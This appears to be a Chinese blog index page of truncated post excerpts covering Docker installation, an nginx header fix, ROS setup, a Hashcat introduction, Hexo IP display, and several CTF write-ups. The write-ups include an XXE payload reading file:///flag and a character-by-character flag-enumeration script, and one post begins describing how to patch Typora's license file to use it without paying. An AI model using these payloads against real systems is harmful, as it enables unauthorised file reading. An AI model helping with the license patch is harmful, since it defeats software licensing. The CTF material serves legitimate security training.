Docker安装官方脚本自动安装（仅适用于公网环境）
1$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
手动安装dockerCentOS安装123456789101112131415161718192021222324252627282930313233343536# step 1: 安装必要的一些系统工具sudo yum install -y yum-utils device-mapper-persistent-data lvm2# Step 2: 添加软件源信息sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo# Step 3: 更新并安装 Docker-CEsudo yum makecache fastsudo yum -y install docker-ce# Step 4: 开启Docker服务sudo service docker star ...
1
宝塔部署的node项目，访问后出现400报错，原因是nginx的配置头文件client_header_buffer_size，只需修改他的限制头文件大小就好了，
问题出现
123400 Bad RequestRequest Header Or Cookie Too Largenginx
解决方法
1
2
3
然后再尝试访问
前言这是一个痛心的故事，本人喜欢用Typora写笔记，因为markdown格式确实美观，用了那么久的盗版其实也是想支持一下正版的，奈何钱包不允许，而且官网他也只卖89元三台的套餐，我用不到三台设备。
也曾想过拉上身边爱用这款软件的人一起拼个车，但都惨遭拒绝。没办法西想支持一下正版又没钱，只能去某个黄色软件拼车了。但是后续也是被商家欺诈了…用不到一个月激活码就被停用了。还是老老实实用盗版吧。
介绍首先，我的版本是1.10.8版本的
安装的时候注意选择 为所有用户安装，安装完成后需要打开并点击 开始15天试用
修改激活信息1.打开LicenseIndex.180dd4c7.bffb5802.chunk.js文件，默认路径在
1C:\Program Files\Typora\resources\page-dist\static\js\LicenseIndex.180dd4c7.bffb5802.chunk.js
根据自己的软件安装的路径进行更改，Typora就是软件根目录
2、修改内容
打开LicenseIndex.180dd4c7.bffb5802.chunk.js文件修改内容的e ...
基础配置新建一个工作空间
工作空间是创建、修改、编译ROS工程的目录。工作空间，直观的形容就是一个仓库，里面装载着ROS的各种项目工程，便于系统组织管理调用。在可视化图形界面里是一个文件夹。我们自己写的ROS代码通常就放在工作空间中，一般一个机器人工程需要一个工作空间。工作空间下包含该机器人工程的所有内容以及功能。
工作空间下的目录文件有：
build****：存放工程编译的中间文件；
devel****：存放工程编译生成的可执行代码，编译生成的库文件以及自动生成的头文件等。
src****：存放该工程的功能包；
**package:****功能包是ROS工程中的基本单元，一般一个单一机器人功能建立一个功能包。
功能包清单(package.xml)：每个功能包都包含一个名为Package.xml的功能包清单，用于记录功能包的基本信息，包含作者信息、许可信息、依赖选项、编译标志等。
CMakeLists.txt****：功能包的编译规则，每个功能包都必须包含一个CMakeLists.txt文件。
src****：存储功能包源代码；
include****：存储功能包头文件；
在un ...
网络安全
未读WEBeasyweb写脚本枚举后台flag文件编写脚本运行，但是一开始跑出来了一半，右边}没跑出来乱码了，本以为只跑出来一半，就先存着了，最后再跑发现跑不出来了，一直显示网络问题。我就尝试自己加一个大括号，竟然成功了。最后想在跑一遍但还是乱码了
1234567891011121314151617181920212223242526#!/usr/bin/env python3import requestsdef get_flag(addr, result=""): for x in range(1, 40): # 假设flag长度为39字符（从1到39） for i in range(0x20, 0x7f): # 可打印ASCII字符范围（32到126） if post(addr, x, chr(i)): result += chr(i) print(f"Current flag: {result}") # 打印 ...
esayweb题目内容：flag的位置为/flag.txt。
访问靶机
开始构造脚本文件并执行后获取 flag 结果
123456789101112131415161718192021222324252627#!/usr/bin/env python3import requestsdef get_flag(addr, result=""): for x in range(1, 40): # 假设flag长度为39字符（从1到39） for i in range(0x20, 0x7f): # 可打印ASCII字符范围（32到126） if post(addr, x, chr(i)): result += chr(i) print(f"Current flag: {result}") # 打印当前已破解的flag break # 找到当前字符后跳出内层循环 print(f ...
ezEvtx
题目内容：EVTX文件是Windows操作系统生成的事件日志文件，用于记录系统、应用程序和安全事件。
（本题需要选手找出攻击者访问成功的一个敏感文件，提交格式为flag{文件名}，其中文件名不包含文件路径，且包含文件后缀）
题目给了一个events.evtx，是windows日志文件。
打开后搜索警告，发现敏感内容
1flag{confidential.docx}
flowzip题目给了一个文件，这是个流量分析题，
搜索flag关键字即可
星际XML解析器
题目内容：
你已进入星际数据的世界，输入XML数据，启动解析程序，探索未知的数据奥秘！
利用file协议可以读取flag
123<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test[<!ENTITY file SYSTEM "file:///flag">]><reset><login>&file;</lo ...
软件教程
未读简介Hashcat 是一款开源的密码破解工具，也是目前全球公认的最快、最先进的密码恢复工具之一。它支持多种哈希算法（如 MD5、SHA-1、SHA-256、NTLM、bcrypt 等），能够通过暴力破解（Brute-force）、字典攻击（Dictionary attack）、掩码攻击（Mask attack）、组合攻击（Combination attack）等多种方式破解密码哈希值。
核心特点
高性能：
Hashcat 利用 GPU（NVIDIA/AMD）和 CPU 的并行计算能力，通过 OpenCL 和 CUDA 技术实现
硬件加速，破解速度远超纯 CPU 工具（如 John the Ripper）。
示例：破解 NTLM 哈希时，高端 GPU 可达到每秒数亿次尝试。
支持多种哈希类型：覆盖常见算法（如 MD5、SHA-1、SHA-256、SHA-512、NTLM、LM、bcrypt、PBKDF2 等）以及特定场景的哈希（如 WPA/WPA2-PSK、Office 密码、PDF 密码等）。
灵活的攻击模式：
暴力破解（Brute-force）：尝试所 ...
效果
前言在网站的隐私政策中往往需要用到获取信息用来告知用户获取了哪些信息，显示当前用户的个人信息可以直观的感受。
我最开始在网上看到像安知鱼以及其他个人博客网站的隐私政策都会有一个获取用户信息并呈现出来的效果。
一顿搜索后只有这一篇文章可以用。引用文章Hexo隐私政策中的IP客户端信息 | 青桔气球
不过这是两年前的文章了，还好API接口能用。
获取IP和地理信息用到的APIAPI聚合网站名称-免费、稳定、易用的webapi接口调用
这个网站推荐一下，获取IP和地理位置信息都是免费的。以后不知道需不需要收费。本人的API接口也是调用的这个网站
一、html表格添加id准备好自己的md文件，并把下面html表格代码粘贴到md文件内
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<!-- 在表格中添加 id 以便于通过 JavaScript 获取元素 --><table> <thead> <tr ...
[SWPUCTF 2021 新生赛]jicao访问主页是一段php代码，包含了flag.php文件，设定了一个POST请求的id和GET请求的json语句会对GET请求的数据进行json解码。如果id和json变量的值都等于设定字符串，打印flag
12345678<?phphighlight_file('index.php');include("flag.php");$id=$_POST['id'];$json=json_decode($_GET['json'],true);if ($id=="wllmNB"&&$json['x']=="wllm"){echo $flag;}?>
直接使用hacker插件进行传参
真是阳间题题内容：
123艾尔登法环正式发售在即，迫不及待的mjj身上好像有蚂蚁在爬，写下了一句谜语：3207357975641587136122466514425152961654 ...
